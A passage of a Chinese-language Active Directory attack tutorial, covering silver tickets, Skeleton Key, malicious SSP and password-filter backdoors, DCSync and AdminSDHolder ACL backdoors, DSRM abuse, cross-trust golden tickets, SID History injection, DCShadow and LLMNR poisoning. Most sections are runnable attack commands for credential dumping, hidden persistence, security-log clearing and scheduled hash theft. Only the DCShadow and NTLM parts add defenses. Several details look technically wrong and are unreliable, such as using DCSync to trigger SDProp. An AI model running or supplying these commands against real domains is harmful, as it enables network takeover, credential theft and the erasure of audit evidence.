    • 目标服务未启用强加密验证(如 SMB 签名或 LDAP 加密)。

三、白银票据生成与利用流程

步骤 1:获取服务账户的凭据
  • Kerberoasting 攻击:
    请求高权限服务的 ST 并离线破解:

    1
    2
    3
    4
    # 使用 Rubeus 请求 ST
    Rubeus.exe kerberoast /user:svc_sql /nowrap
    # 使用 Hashcat 破解(示例)
    hashcat -m 13100 hash.txt rockyou.txt
  • 内存提取:
    若已控制运行服务的主机,使用 Mimikatz 提取服务账户凭据:

    1
    mimikatz "privilege::debug" "sekurlsa::logonpasswords"
步骤 2:生成白银票据

使用 Mimikatz 或 Rubeus 生成伪造的 ST:

1
2
3
4
5
6
7
8
# 使用 Mimikatz(伪造 CIFS 服务票据)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:DC01.example.com /service:CIFS /rc4:<service_hash> /ptt"

# 使用 AES-256 密钥(更隐蔽)
mimikatz "kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-... /target:DC01.example.com /service:CIFS /aes256:<aes_key> /ptt"

# Rubeus 生成(需指定 SPN 和用户)
Rubeus.exe silver /service:CIFS/DC01.example.com /user:Administrator /rc4:<service_hash> /ptt
  • 关键参数:
    • /user:伪造的用户名(如 Administrator)。
    • /domain:域名。
    • /sid:域的 SID(通过 whoami /all 获取)。
    • /service:目标服务的 SPN(必须与目标服务匹配)。
    • /ptt:将票据注入当前会话内存(Pass-the-Ticket)。
步骤 3:权限验证与利用
  • 访问目标服务资源:

    1
    dir \\DC01.example.com\C$  # 验证文件共享访问权限
  • 执行远程命令:

    1
    PsExec.exe \\DC01.example.com cmd.exe
  • DCSync 攻击(需 LDAP 服务票据):

    1
    mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"

四、技术原理深度解析

  1. ST 的结构与签名:
    ST 包含用户身份、服务 SPN、有效期等信息,并由服务账户的密钥签名。白银票据通过伪造签名,使目标服务误认为其合法。
  2. PAC(特权属性证书)的缺失:
    白银票据通常不包含 PAC(或包含无效 PAC),因此依赖目标服务是否强制校验 PAC。若服务不校验 PAC,攻击者可绕过权限验证。
  3. 无需 KDC 交互:
    白银票据直接生成并发送至目标服务,不经过 KDC,因此无 Event ID 4768(TGT 请求)日志记录,隐蔽性更高。

五、白银票据 vs. 黄金票据

特性 白银票据(Silver Ticket) 黄金票据(Golden Ticket)
依赖密钥 服务账户的 NTLM Hash/AES Key krbtgt 的 NTLM Hash/AES Key
攻击范围 仅限特定服务(如 CIFS、LDAP、HTTP) 全域(可访问任何服务)
是否需要 TGT 无需(直接生成 ST) 无需(直接生成 TGT)
隐蔽性 高(无 KDC 交互日志) 较高(TGT 请求日志可能异常)
防御难度 中(需轮换服务账户密码) 高(需重置 krbtgt 密码)

3.万能密码


一、万能密码的核心概念

万能密码 是一种特殊的权限维持技术,通过在域控中植入后门,使得攻击者使用预设的通用密码即可通过任意用户账户的身份验证(如域管理员)。该技术不修改用户实际密码,而是篡改身份验证流程,绕过正常密码校验逻辑。其核心特点包括:

  • 隐蔽性:不影响用户正常登录,仅在攻击者使用特定密码时触发后门。
  • 持久性:通常依赖内存注入或系统级Hook,需结合持久化机制防止重启失效。
  • 高权限要求:需域管理员或SYSTEM权限部署后门。

二、技术实现方式

1. Skeleton Key(骨架密钥)

原理:
由Mimikatz提出的内存级后门,通过Hook LSASS进程的msv1_0.dll或kerberos.dll中的密码验证函数,为所有用户添加一个通用密码(如mimikatz)。
操作步骤:

1
2
# 注入Skeleton Key到LSASS(需管理员权限)
mimikatz "privilege::debug" "misc::skeleton"

特点:

  • 无需修改用户密码:原始密码仍有效,攻击者使用通用密码即可登录。
  • 重启失效:LSASS进程重启后后门消失。
  • 仅影响当前域控:多域控环境下需在所有DC上部署。

持久化:

  • 结合计划任务或WMI事件订阅,在系统启动时重新注入Skeleton Key。
  • 使用工具(如Metasploit的persistence模块)创建自启动服务。

2. 恶意安全支持提供者(SSP)

原理:
通过注册恶意SSP(Security Support Provider)DLL,截获并篡改身份验证请求。
操作步骤:

1
2
# 使用Mimikatz安装恶意SSP(如mimilib.dll)
mimikatz "privilege::debug" "misc::memssp"

特点:

  • 记录或篡改凭据:可记录所有用户密码或允许特定密码通过验证。
  • 重启持久:SSP注册表项(HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages)确保DLL在重启后加载。

持久化:

  • 将恶意DLL写入%SystemRoot%\System32并注册为SSP。
  • 通过组策略强制所有域控加载该SSP。

3. 密码筛选器后门(Password Filter DLL)

原理:
利用Windows密码策略机制,注册恶意密码筛选器DLL,在密码修改或验证时触发后门逻辑。
操作步骤:

  1. 编写恶意DLL:实现PasswordFilter函数,检查输入密码是否为预设值(如Backdoor@123),若匹配则返回验证通过。
  2. 注册DLL:
    1
    2
    # 修改注册表
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f
  3. 重启生效:需重启系统或LSASS进程。

特点:

  • 深度隐蔽:与系统密码策略集成,难以被常规审计发现。
  • 全局生效:影响所有用户密码验证流程。

持久化:

  • 将DLL复制到System32目录并锁定权限防止删除。
  • 禁用Windows文件保护(WFPC)或利用驱动程序绕过签名校验。

4. 修改NTDS.dit数据库

原理:
直接修改域控的NTDS.dit数据库,为所有用户账户添加相同的备用密码哈希(LM/NTLM)。
操作步骤:

  1. 获取数据库访问权限:通过Volume Shadow Copy或直接复制NTDS.dit和SYSTEM注册表文件。
  2. 离线注入哈希:使用工具(如secretsdump.py和nthash.py)批量修改用户哈希。
  3. 恢复数据库:替换原始文件并重启域控。

特点:

  • 高风险:操作不当易导致数据库损坏。
  • 高隐蔽性:用户正常密码不变,仅攻击者知晓备用哈希。

持久化:

  • 定期同步更新备用哈希以匹配密码策略。
  • 结合ACL后门防止数据库文件被审计。

4.DCSync 后门


DCSync 是一种通过模拟域控制器(DC)的复制行为,利用 目录复制服务(DRS)协议 获取域内所有用户密码哈希的技术。攻击者通过为普通用户或隐藏账户授予 复制目录更改(Replicating Directory Changes All) 权限,使其具备类似域控制器的数据同步能力,从而实现持久化权限维持。


二、攻击流程

1. 授予DCSync权限

通过修改目标用户或计算机账户的ACL(访问控制列表),添加 DS-Replication-Get-Changes-All 权限。

PowerShell (PowerView) 示例:

1
2
3
4
5
6
7
8
# 导入PowerView模块
Import-Module .\PowerView.ps1

# 授予用户 "BackdoorUser" DCSync权限
Add-DomainObjectAcl -TargetDistinguishedName "DC=example,DC=com" -PrincipalIdentity BackdoorUser -Rights DCSync

# 验证权限是否添加成功
Get-DomainObjectAcl -Identity "DC=example,DC=com" | ? { $_.SecurityIdentifier -eq (Get-DomainUser BackdoorUser).SID }

dsacls 命令行工具示例:

1
dsacls "DC=example,DC=com" /G "EXAMPLE\BackdoorUser:CA;Replicating Directory Changes All"

2. 创建隐蔽账户(可选)

创建不易被发现的隐藏账户,如 影子账户 或 机器账户:

1
2
3
4
5
# 创建隐藏用户(设置不可逆密码)
New-ADUser -Name "svc_backup" -AccountPassword (ConvertTo-SecureString "P@ssw0rd!" -AsPlainText -Force) -Enabled $true -PasswordNeverExpires $true

# 将用户添加到低权限组(如 "Domain Users"),避免引起注意
Add-ADGroupMember -Identity "Domain Users" -Members svc_backup

3. 执行DCSync导出哈希

使用 Mimikatz 或 Impacket 导出域内哈希:

1
2
3
4
5
# Mimikatz
mimikatz "lsadump::dcsync /domain:example.com /user:krbtgt"

# Impacket (secretsdump.py)
secretsdump.py example.com/[email protected] -just-dc

三、权限维持与隐蔽手段

1. ACL隐藏技术

  • 继承禁用:
    修改ACL继承设置,使权限条目不通过常规工具(如Active Directory用户和计算机)显示。
    1
    Set-ADObject -Identity "DC=example,DC=com" -Replace @{nTSecurityDescriptor = (Get-ADObject -Identity "DC=example,DC=com" -Properties nTSecurityDescriptor).nTSecurityDescriptor}
  • 混淆安全标识符(SID):
    使用 SID History注入 或 跨域信任关系 隐藏真实权限来源。

2. 日志绕过

  • 清除事件日志:
    使用 wevtutil 删除相关事件记录:
    1
    wevtutil cl Security  # 清除安全日志
  • 禁用日志记录:
    修改组策略关闭敏感操作审计(需管理员权限):
    1
    Set-GPOAuditPolicy -Path "DC=example,DC=com" -Category "DS Access" -AuditType "None"

3. 定期同步与自动化

  • 计划任务触发DCSync:
    通过域控或受控主机定时执行哈希导出:
    1
    schtasks /create /tn "DCSyncTask" /tr "C:\tools\mimikatz.exe \"lsadump::dcsync\" /domain:example.com" /sc weekly /ru SYSTEM
  • 邮件或外传通道:
    将导出的哈希自动发送至外部服务器(如HTTPS API或邮件)。

5.DSRM


一、DSRM 的核心作用

DSRM(Directory Services Restore Mode) 是 Windows 域控制器的安全修复模式,用于在 Active Directory 数据库(ntds.dit)损坏时执行还原操作。其本地管理员账户(.\Administrator)的密码独立于域账户体系,成为攻击者隐蔽权限维持的理想后门。


二、DSRM 权限持久化原理

  1. 密码独立性:
    DSRM 密码在域控安装时设置,与域管理员密码无关,且默认不会自动同步。即使域管理员密码被重置,DSRM 密码仍有效。
  2. 本地特权:
    DSRM 账户拥有本地 SYSTEM 权限,可绕过域策略直接访问域控文件系统(如提取 ntds.dit)。
  3. 隐蔽性:
    DSRM 登录行为通常不会触发域日志(如 Event ID 4624),仅记录在本地安全日志中,难以被集中监控。

三、攻击流程

1. 获取当前 DSRM 密码

  • 从 ntds.dit 中提取(需域控权限):
    1
    2
    # 使用 Mimikatz 提取 DSRM 账户信息
    mimikatz "lsadump::lsa /name:Administrator /id:500" # 查找 RID 为 500 的本地账户
  • 通过注册表查询:
    1
    reg query "HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" /v DsrmAdminLogonBehavior

2. 修改 DSRM 密码

  • 使用 ntdsutil 工具:
    1
    2
    3
    4
    5
    6
    ntdsutil
    set DSRM password
    reset password on server <域控主机名>
    <输入新密码>
    q
    q
  • 通过 PowerShell 脚本:
    1
    Set-ADDBAccountPassword -SamAccountName Administrator -NewPassword (ConvertTo-SecureString "NewPassw0rd!" -AsPlainText -Force) -DatabasePath "C:\Windows\NTDS\ntds.dit" -SysvolPath "C:\Windows\SYSVOL"

3. 启用 DSRM 登录

默认情况下,DSRM 仅能在安全启动模式下使用。需修改注册表允许在正常模式登录:

1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
  • 值说明:
    • 0:仅在安全启动模式允许 DSRM 登录。
    • 1:禁止 DSRM 登录。
    • 2:允许在域控正常运行时使用 DSRM 登录。

4. 持久化利用

  • 通过 DSRM 登录域控:
    使用修改后的密码本地登录,执行高权限操作(如启动 Mimikatz 提取哈希):
    1
    2
    # 使用 PsExec 远程登录(需本地管理员权限)
    PsExec.exe \\DC01 -u Administrator -p NewPassw0rd! cmd.exe
  • 部署隐蔽后门:
    结合 计划任务 或 WMI 事件订阅,在系统启动时重新激活 DSRM 权限。

6.AdminSDHolder与影子组


一、AdminSDHolder的核心原理

AdminSDHolder 是 Active Directory 中的一个特殊容器(位于 CN=AdminSDHolder,CN=System,DC=example,DC=com),其 ACL(访问控制列表)会被定期同步到所有受保护的高权限组(如 Domain Admins、Enterprise Admins)和用户,确保其权限不被意外篡改。同步由 SDProp(Security Descriptor Propagator) 进程完成,默认每 60 分钟 执行一次。

二、影子组的定义与作用

影子组 是攻击者创建或利用的普通用户组,通过修改 AdminSDHolder 的 ACL,将影子组添加到其权限列表中,从而间接控制所有受保护的高权限组。影子组本身不具备特权,但其权限会通过 SDProp 同步到所有受保护对象,实现隐蔽的权限维持。


三、攻击流程详解

步骤 1:创建影子组

创建一个看似无害的用户组(如 “IT_Support”),用于隐藏攻击意图:

1
2
New-ADGroup -Name "IT_Support" -GroupScope Global -GroupCategory Security
Add-ADGroupMember -Identity "IT_Support" -Members AttackerUser

步骤 2:修改AdminSDHolder的ACL

使用 PowerView 或 Active Directory模块 授予影子组对 AdminSDHolder 的完全控制权限:

1
2
3
4
5
6
7
8
9
# 使用 PowerView
Import-Module .\PowerView.ps1
Add-ObjectAcl -TargetDistinguishedName "CN=AdminSDHolder,CN=System,DC=example,DC=com" -PrincipalIdentity IT_Support -Rights All

# 使用 AD 模块(需RSAT)
$acl = Get-ACL "AD:CN=AdminSDHolder,CN=System,DC=example,DC=com"
$sid = (Get-ADGroup IT_Support).SID
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $sid, "GenericAll", "Allow"))
Set-ACL -Path "AD:CN=AdminSDHolder,CN=System,DC=example,DC=com" -AclObject $acl

步骤 3:触发SDProp同步

默认每60分钟自动同步,也可手动触发(需域控重启或强制同步):

1
2
3
4
5
# 重启域控(高风险)
shutdown /r /t 0

# 使用 Mimikatz 强制触发(需SYSTEM权限)
mimikatz "lsadump::dcsync /path:CN=AdminSDHolder,CN=System,DC=example,DC=com"

步骤 4:通过影子组行使特权

影子组成员(如 AttackerUser)可修改受保护组的成员(如添加自己到 Domain Admins):

1
Add-ADGroupMember -Identity "Domain Admins" -Members AttackerUser

四、技术原理深度解析

  1. AdminSDHolder的ACL同步机制
    SDProp 进程将 AdminSDHolder 的 ACL 复制到所有受保护对象(标记为 adminCount=1 的对象),覆盖其原有权限。攻击者通过控制 AdminSDHolder 的 ACL,间接控制所有高权限组。

  2. 隐蔽性设计

    • 影子组低权限:影子组本身不直接拥有特权,避免被常规审计工具(如 BloodHound)标记为高危。
    • 权限继承延迟:SDProp 同步周期为60分钟,攻击痕迹不会立即暴露。
  3. 防御绕过

    • 修改 AdminSDHolder 的 ACL 无需域管理员权限,只需对容器有写权限(默认 Domain Admins 拥有此权限)。
    • 攻击者可结合 ACL 隐藏技术(如禁用继承),使权限变更难以通过 GUI 工具发现。

十、交叉信任攻击


一、交叉信任攻击的核心原理

交叉信任(Cross-Trust)攻击 是攻击者利用 Active Directory 多域环境中的 信任关系(如父子信任、林信任、外部信任),通过一个被攻陷的域(Source Domain)向另一个受信任的域(Target Domain)横向移动,最终控制整个林或外部域。其核心逻辑如下:

  • 信任密钥(Trust Key):域间信任关系通过共享密钥(NTLM Hash 或 AES Key)建立,攻击者可窃取该密钥伪造跨域票据。
  • SID History 滥用:通过注入目标域特权组的 SID,绕过权限验证。
  • 跨域资源访问:利用信任关系访问目标域的资源(如文件共享、数据库)。

二、攻击前提条件

  1. 环境要求:
    • 存在跨域信任关系(如 DomainA 信任 DomainB)。
    • 攻击者已控制源域的域控制器或高权限账户。
  2. 关键凭据:
    • 信任密钥(通过 DCSync 或注册表提取)。
    • 目标域的 SID(用于构造黄金票据或 SID History)。

三、攻击流程与手法

1. 提取信任密钥

  • 通过 DCSync 导出(需源域控权限):
    1
    2
    3
    4
    # 使用 Mimikatz 提取域间信任密钥
    mimikatz "lsadump::trust /patch"
    # 或使用 Impacket
    secretsdump.py domainA/[email protected] -just-dc-user domainB$
  • 从注册表导出:
    1
    2
    3
    reg save HKLM\SYSTEM system.save
    reg save HKLM\SECURITY security.save
    python3 secretsdump.py -system system.save -security security.save LOCAL

2. 伪造跨域黄金票据

​ 若已获取域间信任密钥(Trust Key),可伪造跨域黄金票据(Golden Ticket),直接获得目标域权限,无需依赖SID History。

​ 使用信任密钥生成针对目标域的黄金票据:

1
2
# 使用 Mimikatz(假设目标域为 DomainB)
mimikatz "kerberos::golden /user:Administrator /domain:DomainB.com /sid:S-1-5-21-... /sids:S-1-5-21-<DomainB Admins Group> /krbtgt:<TrustKey> /ptt"
  • 关键参数:
    • /sids:注入目标域特权组的 SID(如 Domain Admins)。
    • /krbtgt:信任密钥(非目标域的 krbtgt Hash)。

3. 跨域资源访问

  • 访问目标域文件共享:
    1
    dir \\dc.domainB.com\C$
  • 执行 DCSync 攻击:
    1
    mimikatz "lsadump::dcsync /domain:DomainB.com /user:krbtgt"
  • 横向移动至目标域主机:
    1
    psexec.py DomainB.com/[email protected] -hashes <NTLM_Hash>

4. SID History 注入(跨域提权)

​ 攻击者在源域(已控)中创建用户,并注入目标域(受信任域)的高权限组SID(如Domain Admins的SID)。当该用户访问目标域资源时,系统会将其SID History视为有效权限来源,授予对应特权。

步骤1:获取源域控制权
  • 前提:已控源域的域控制器或具备Domain Admin权限。
  • 目标:修改用户属性以注入SID History。
步骤2:确定目标域高权限SID
  • 获取目标域的Domain Admins组SID(如S-1-5-21-<域标识>-512)。

  • 工具示例(PowerView):

    1
    Get-DomainGroup -Identity "Domain Admins" -Domain target-domain.com | Select-Object SID
步骤3:注入SID History
  • 使用Mimikatz或PowerShell修改用户属性:

    1
    2
    # Mimikatz(需SYSTEM权限)
    mimikatz "sid::add /sam:EvilUser /new:S-1-5-21-<目标域标识>-512"
    1
    2
    # PowerShell(需AD模块)
    Set-ADUser -Identity EvilUser -Replace @{sidHistory=("S-1-5-21-<目标域标识>-512")}
步骤4:跨域访问与提权
  • 使用注入SID的用户访问目标域资源:

    1
    2
    runas /user:source-domain\EvilUser cmd.exe
    dir \\dc.target-domain.com\C$ # 验证权限
  • 执行DCSync导出目标域哈希:

    1
    mimikatz "lsadump::dcsync /domain:target-domain.com /user:krbtgt"

四、信任类型与攻击影响

信任类型 攻击可行性
父子信任 高(默认双向可传递,可访问整个林资源)
林信任 中(需明确配置资源访问权限)
外部信任 低(单向不可传递,仅限特定域)
领域信任 低(与非 Windows 域交互,如 Kerberos 领域)

十一、森林权限持久化DCShadow


一、DCShadow攻击原理

DCShadow 是一种基于 Active Directory 复制机制 的高级权限维持技术,允许攻击者通过注册 恶意域控制器(Rogue DC),绕过常规权限验证直接修改 AD 数据库(ntds.dit),实现隐蔽的持久化。其核心特点如下:

  • 无需物理接触真实DC:通过伪造DC身份,利用合法的DrsReplicaAdd协议同步恶意数据。
  • 绕过日志监控:操作模拟正常域复制行为,不触发敏感事件日志(如对象修改记录)。
  • 高权限需求:需 Domain Admin 或 Enterprise Admin 权限注册恶意DC。

二、攻击流程

1. 环境准备

  • 权限提升:获取域管理员权限(如通过Mimikatz提取哈希或Pass-the-Ticket)。
  • 工具准备:使用Mimikatz的 DCShadow模块 或PowerShell脚本(如 Invoke-DCShadow)。

2. 注册恶意域控制器

1
2
# 使用Mimikatz注册恶意DC(需SYSTEM权限)
mimikatz "lsadump::dcshadow /object:CN=Users,DC=example,DC=com /attribute:primaryGroupID /value:512"
  • 参数说明:
    • /object:目标AD对象(如用户、组)。
    • /attribute:要修改的属性(如primaryGroupID设置为Domain Admins的RID 512)。
    • /value:新属性值。

3. 篡改AD对象

  • 提权用户:将普通用户加入特权组(如Domain Admins)。
  • 部署后门:修改AdminSDHolder的ACL或配置恶意组策略。
    1
    mimikatz "lsadump::dcshadow /push"

4. 触发复制与清理

  • 强制同步:触发合法DC从恶意DC拉取数据。
    1
    mimikatz "lsadump::dcshadow /execute"
  • 删除痕迹:卸载恶意DC注册信息,避免被逆向追踪。
    1
    mimikatz "lsadump::dcshadow /cleanup"

三、技术优势与隐蔽性

  1. 绕过传统检测:
    • 无日志记录:AD对象修改操作不生成Event ID 5136(对象属性变更)。
    • 合法协议滥用:利用DRS(Directory Replication Service)协议,流量加密且与正常复制行为相似。
  2. 持久化效果:
    • 直接修改数据库:更改写入ntds.dit,重启后仍有效。
    • 无文件落地:操作全程在内存中完成,不触发文件监控。

四、攻击场景示例

场景1:隐蔽提权

  1. 攻击者控制用户UserA,将其primaryGroupID改为512(Domain Admins组RID)。
  2. 通过DCShadow推送修改,UserA获得域管理员权限。
  3. 合法DC同步后,UserA可访问所有域资源。

场景2:ACL后门

  1. 修改AdminSDHolder的ACL,添加影子组BackdoorGroup的完全控制权限。
  2. 所有受保护组(如Domain Admins)的ACL被同步更新,影子组成员获得持久控制权。

五、检测与防御

1. 检测方法

  • 网络流量分析:
    • 监控异常的 DRS远程过程调用(RPC) 请求,尤其是来自非DC主机的流量。
    • 使用Wireshark过滤dcerpc.cn协议,检查DrsReplicaAdd调用来源。
  • 日志监控:
    • Event ID 4662:关注DS-Replication-Get-Changes-All操作的来源IP。
    • Event ID 4742:检查新注册的域控制器(恶意DC通常无正常SPN)。
  • 工具扫描:
    • ADExplorer:手动检查域控制器列表中的异常条目。
    • BloodHound:识别异常的ACL修改或用户权限提升路径。

2. 防御措施

  • 权限最小化:
    • 限制 Domain Admins 组权限,避免账户被滥用。
    • 禁用不必要的域控制器注册权限(默认允许Domain Admins)。
  • 网络隔离:
    • 限制域控制器间的RPC通信(端口135、445、636)仅允许可信IP。
    • 启用SMB签名与LDAPS加密,防止中间人攻击。
  • 增强监控:
    • 配置SIEM工具(如Splunk)实时告警异常DRS事件。
    • 定期审计AD对象的属性变更(如primaryGroupID、sidHistory)。
  • 补丁与加固:
    • 安装AD复制的安全更新(如KB5008380)。
    • 启用 LSA保护(Credential Guard) 防止凭据窃取。

六、清除后门

  1. 回滚AD修改:
    • 使用合法域控制器强制同步正确配置。
    • 手动修复被篡改的AD对象属性。
  2. 移除恶意DC:
    1
    2
    # 使用ntdsutil删除恶意DC
    ntdsutil "metadata cleanup" "connections" "connect to server legit-dc" "quit" "select operation target" "list domains" "select domain 0" "list sites" "select site 0" "list servers" "select server <恶意DC编号>" "quit" "remove selected server"
  3. 审计与恢复:
    • 重置受影响用户的凭据与组成员关系。
    • 验证AdminSDHolder与系统容器的ACL配置。

七、总结

DCShadow利用Active Directory的复制机制,实现了极难检测的持久化攻击。其隐蔽性源于对合法协议的滥用与无日志特性,防御需结合网络隔离、权限控制与深度行为分析。对于企业安全团队而言,持续监控域控制器间的异常通信、严格管理高权限账户,是抵御此类高级威胁的关键。

十二、其他补充知识点

一.利用协议降级进行NTLM嗅探

针对通过 DNS降级、LLMNR/NetBIOS投毒 结合 NTLM哈希嗅探 的攻击方式,以下是技术原理、攻击流程及防御方案:


1. 攻击原理:名称解析协议的弱点

(1) 名称解析协议降级

  • DNS解析失败后的备用机制:当客户端通过DNS无法解析目标主机名时,会自动回退到 LLMNR(链路本地多播名称解析,IPv6)或 NetBIOS-NS(IPv4)进行本地网络广播查询。
  • 攻击者利用点:攻击者监听并伪造响应,声称自己是目标主机,诱导客户端向攻击者发起认证请求(如SMB、HTTP等),从而获取NTLM哈希。
  • LLMNR:使用多播地址 FF02::1:3(IPv6)或 224.0.0.252(IPv4),在本地子网内广播查询。
  • NetBIOS-NS:通过UDP 137端口广播查询(IPv4)。
  • 无认证机制:这些协议未验证响应者身份,攻击者可轻易伪造响应。

2. 攻击流程

步骤1:诱骗客户端发起认证

  1. 用户或服务尝试访问一个不存在的共享路径(如误输 \\fileserver\share)。
  2. DNS解析失败后,客户端通过LLMNR/NetBIOS广播查询 fileserver。
  3. 攻击者(如使用 Responder 工具)抢先响应,声明自己是 fileserver。

步骤2:触发NTLM认证

  • 客户端向攻击者伪装的服务器发起SMB、HTTP或FTP等协议连接。
  • 攻击者发送认证挑战(Challenge),客户端计算NTLM响应(包含用户密码的哈希)并返回。

步骤3:捕获NTLM哈希

  • 攻击者捕获客户端的NTLM响应(如 NTLMv2-Hash),后续可通过离线暴力破解或中继攻击(Relay)利用该哈希。

3. 常用工具

  • Responder:自动化监听LLMNR/NetBIOS/MDNS请求并伪造响应,捕获NTLM哈希。
    1
    python3 Responder.py -I eth0
  • Inveigh(Windows PowerShell):类似Responder,支持更多协议。
  • mitm6:利用IPv6 DHCP投毒,强制客户端使用攻击者控制的DNS服务器。

4. 攻击示例(Responder 捕获NTLMv2哈希)

  1. 启动Responder:
    1
    responder -I eth0 -wrf
    • -wrf:启用HTTP/SMB/FTP等服务的伪造。
  2. 诱导客户端触发请求:
    • 用户点击无效的共享链接(如 \\fake-server\share)。
  3. 捕获哈希:
    • Responder 输出捕获的NTLMv2哈希(保存为 hash.txt):
      1
      [SMB] NTLMv2-SSP Hash captured from 192.168.1.10: john::DOMAIN:1122334455667788:AAAAAAA...
  4. 破解哈希:
    • 使用 Hashcat 暴力破解:
      1
      hashcat -m 5600 hash.txt /path/to/wordlist.txt

5. 防御方案

(1) 禁用不安全的协议

  • 关闭LLMNR(组策略):
    1
    计算机配置 → 管理模板 → 网络 → DNS客户端 → 关闭LLMNR → 启用
  • 禁用NetBIOS(网络适配器属性):
    • IPv4高级设置 → WINS → 禁用NetBIOS over TCP/IP。
  • 限制IPv6使用(如无需IPv6):
    • 禁用IPv6或配置防火墙规则过滤本地链路多播。

(2) 强制使用DNS安全扩展

  • 配置DNSSEC,防止DNS投毒。
  • 确保内网DNS服务器可靠,避免解析失败。

(3) 阻止NTLM协议滥用

  • 启用SMB签名(防止中继攻击):

    1
    组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → Microsoft网络服务器: 数字签名通信(总是)
  • 禁用NTLMv1,仅允许NTLMv2或Kerberos:

    1
    组策略 → 计算机配置 → 策略 → 安全设置 → 本地策略 → 安全选项 → 网络安全: LAN Manager身份验证级别 → 仅发送NTLMv2响应
  • 限制NTLM使用(通过组策略或注册表)。

(4) 网络监控与隔离

  • 检测异常的LLMNR/NetBIOS流量(如非管理员主机的响应)。
  • 分段内网,限制敏感主机的多播通信。

(5) 用户教育与策略

  • 培训用户避免点击未知共享链接。
  • 使用主机名全称(FQDN)访问资源,减少解析失败概率。

6. 扩展:中继攻击(Relay)防御

若攻击者将捕获的NTLM哈希直接中继到其他服务(如Exchange、AD CS),危害更大:

  • 启用LDAP/SMB签名:中继攻击要求目标服务禁用签名。
  • 启用EPA(Extended Protection for Authentication):绑定HTTPS通道与认证信息。

总结

通过 LLMNR/NetBIOS投毒 和 NTLM哈希捕获 是内网渗透的常见手法,防御需结合协议禁用、认证加固和网络监控。企业应优先使用 Kerberos 并彻底淘汰NTLM协议。